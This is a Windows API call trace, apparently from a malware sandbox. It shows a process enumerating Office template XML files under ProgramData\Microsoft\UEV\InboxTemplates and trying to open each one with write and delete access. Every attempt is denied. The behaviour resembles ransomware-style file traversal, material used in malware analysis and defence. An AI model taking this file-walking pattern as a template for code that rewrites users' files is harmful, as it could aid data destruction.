	[0092.312] wcscat (in: _Dest=0x4894f00, _Source="MicrosoftOffice2010Win32.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml"
	[0092.312] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml")) returned 0x20
	[0092.313] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml", dwFileAttributes=0x20) returned 0
	[0092.313] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.313] GetLastError () returned 0x5
	[0092.313] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml", dwFileAttributes=0x20) returned 0
	[0092.313] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894f00) returned 1
	[0092.313] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2010Win64.xml", cAlternateFileName="")) returned 1
	[0092.313] wcscmp (_String1="MicrosoftOffice2010Win64.xml", _String2=".") returned 1
	[0092.313] wcscmp (_String1="MicrosoftOffice2010Win64.xml", _String2="..") returned 1
	[0092.313] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x4894e60
	[0092.313] wcscpy (in: _Dest=0x4894e60, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.313] wcscat (in: _Dest=0x4894e60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.313] wcscat (in: _Dest=0x4894e60, _Source="MicrosoftOffice2010Win64.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml"
	[0092.313] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml")) returned 0x20
	[0092.321] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml", dwFileAttributes=0x20) returned 0
	[0092.321] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.321] GetLastError () returned 0x5
	[0092.321] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml", dwFileAttributes=0x20) returned 0
	[0092.321] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894e60) returned 1
	[0092.322] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013BackupWin32.xml", cAlternateFileName="")) returned 1
	[0092.322] wcscmp (_String1="MicrosoftOffice2013BackupWin32.xml", _String2=".") returned 1
	[0092.322] wcscmp (_String1="MicrosoftOffice2013BackupWin32.xml", _String2="..") returned 1
	[0092.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x4986128
	[0092.322] wcscpy (in: _Dest=0x4986128, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.322] wcscat (in: _Dest=0x4986128, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.322] wcscat (in: _Dest=0x4986128, _Source="MicrosoftOffice2013BackupWin32.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml"
	[0092.322] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml")) returned 0x20
	[0092.322] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml", dwFileAttributes=0x20) returned 0
	[0092.322] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.322] GetLastError () returned 0x5
	[0092.322] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml", dwFileAttributes=0x20) returned 0
	[0092.322] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986128) returned 1
	[0092.322] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013BackupWin64.xml", cAlternateFileName="")) returned 1
	[0092.322] wcscmp (_String1="MicrosoftOffice2013BackupWin64.xml", _String2=".") returned 1
	[0092.322] wcscmp (_String1="MicrosoftOffice2013BackupWin64.xml", _String2="..") returned 1
	[0092.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x4986128
	[0092.322] wcscpy (in: _Dest=0x4986128, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.322] wcscat (in: _Dest=0x4986128, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.322] wcscat (in: _Dest=0x4986128, _Source="MicrosoftOffice2013BackupWin64.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml"
	[0092.323] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml")) returned 0x20
	[0092.323] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml", dwFileAttributes=0x20) returned 0
	[0092.323] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.323] GetLastError () returned 0x5
	[0092.323] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml", dwFileAttributes=0x20) returned 0
	[0092.323] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986128) returned 1
	[0092.323] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Office365Win32.xml", cAlternateFileName="")) returned 1
	[0092.323] wcscmp (_String1="MicrosoftOffice2013Office365Win32.xml", _String2=".") returned 1
	[0092.323] wcscmp (_String1="MicrosoftOffice2013Office365Win32.xml", _String2="..") returned 1
	[0092.323] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61a50
	[0092.323] wcscpy (in: _Dest=0x2d61a50, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.323] wcscat (in: _Dest=0x2d61a50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.323] wcscat (in: _Dest=0x2d61a50, _Source="MicrosoftOffice2013Office365Win32.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml"
	[0092.323] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml")) returned 0x20
	[0092.323] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml", dwFileAttributes=0x20) returned 0
	[0092.323] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.323] GetLastError () returned 0x5
	[0092.323] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml", dwFileAttributes=0x20) returned 0
	[0092.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61a50) returned 1
	[0092.324] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Office365Win64.xml", cAlternateFileName="")) returned 1
	[0092.324] wcscmp (_String1="MicrosoftOffice2013Office365Win64.xml", _String2=".") returned 1
	[0092.324] wcscmp (_String1="MicrosoftOffice2013Office365Win64.xml", _String2="..") returned 1
	[0092.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61790
	[0092.324] wcscpy (in: _Dest=0x2d61790, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.324] wcscat (in: _Dest=0x2d61790, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.324] wcscat (in: _Dest=0x2d61790, _Source="MicrosoftOffice2013Office365Win64.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml"
	[0092.324] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml")) returned 0x20
	[0092.338] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml", dwFileAttributes=0x20) returned 0
	[0092.338] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.338] GetLastError () returned 0x5
	[0092.338] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml", dwFileAttributes=0x20) returned 0
	[0092.338] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61790) returned 1
	[0092.338] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Win32.xml", cAlternateFileName="")) returned 1
	[0092.338] wcscmp (_String1="MicrosoftOffice2013Win32.xml", _String2=".") returned 1
	[0092.338] wcscmp (_String1="MicrosoftOffice2013Win32.xml", _String2="..") returned 1
	[0092.338] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x4894f00
	[0092.338] wcscpy (in: _Dest=0x4894f00, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.338] wcscat (in: _Dest=0x4894f00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.338] wcscat (in: _Dest=0x4894f00, _Source="MicrosoftOffice2013Win32.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml"
	[0092.338] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml")) returned 0x20
	[0092.338] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml", dwFileAttributes=0x20) returned 0
	[0092.338] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.339] GetLastError () returned 0x5
	[0092.339] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml", dwFileAttributes=0x20) returned 0
	[0092.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894f00) returned 1
	[0092.339] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Win64.xml", cAlternateFileName="")) returned 1
	[0092.339] wcscmp (_String1="MicrosoftOffice2013Win64.xml", _String2=".") returned 1
	[0092.339] wcscmp (_String1="MicrosoftOffice2013Win64.xml", _String2="..") returned 1
	[0092.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x48950e0
	[0092.339] wcscpy (in: _Dest=0x48950e0, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.339] wcscat (in: _Dest=0x48950e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.339] wcscat (in: _Dest=0x48950e0, _Source="MicrosoftOffice2013Win64.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml"
	[0092.339] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml")) returned 0x20
	[0092.339] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml", dwFileAttributes=0x20) returned 0
	[0092.339] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.339] GetLastError () returned 0x5
	[0092.339] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml", dwFileAttributes=0x20) returned 0
	[0092.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48950e0) returned 1
	[0092.339] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016BackupWin32.xml", cAlternateFileName="")) returned 1
	[0092.339] wcscmp (_String1="MicrosoftOffice2016BackupWin32.xml", _String2=".") returned 1
	[0092.339] wcscmp (_String1="MicrosoftOffice2016BackupWin32.xml", _String2="..") returned 1
	[0092.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x4986128
	[0092.340] wcscpy (in: _Dest=0x4986128, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.340] wcscat (in: _Dest=0x4986128, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.340] wcscat (in: _Dest=0x4986128, _Source="MicrosoftOffice2016BackupWin32.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml"
	[0092.340] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml")) returned 0x20
	[0092.340] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml", dwFileAttributes=0x20) returned 0
	[0092.340] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.340] GetLastError () returned 0x5
	[0092.340] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml", dwFileAttributes=0x20) returned 0
	[0092.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986128) returned 1
	[0092.340] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016BackupWin64.xml", cAlternateFileName="")) returned 1
	[0092.340] wcscmp (_String1="MicrosoftOffice2016BackupWin64.xml", _String2=".") returned 1
	[0092.340] wcscmp (_String1="MicrosoftOffice2016BackupWin64.xml", _String2="..") returned 1
	[0092.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x4986128
	[0092.340] wcscpy (in: _Dest=0x4986128, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
	[0092.340] wcscat (in: _Dest=0x4986128, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\"
	[0092.340] wcscat (in: _Dest=0x4986128, _Source="MicrosoftOffice2016BackupWin64.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml"
	[0092.340] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml")) returned 0x20
	[0092.351] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml", dwFileAttributes=0x20) returned 0
	[0092.351] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.351] GetLastError () returned 0x5
	[0092.351] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml", dwFileAttributes=0x20) returned 0
	[0092.351] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986128) returned 1
	[0092.351] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016Win32.xml", cAlternateFileName="")) returned 1
	[0092.351] wcscmp (_String1="MicrosoftOffice2016Win32.xml", _String2=".") returned 1
	[0092.351] wcscmp (_String1="MicrosoftOffice2016Win32.xml", _String2="..") returned 1
	[0092.351] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x4894e60
	[0092.351] wcscpy (in: _Dest=0x4894e60, _Source="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates") returned="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates"
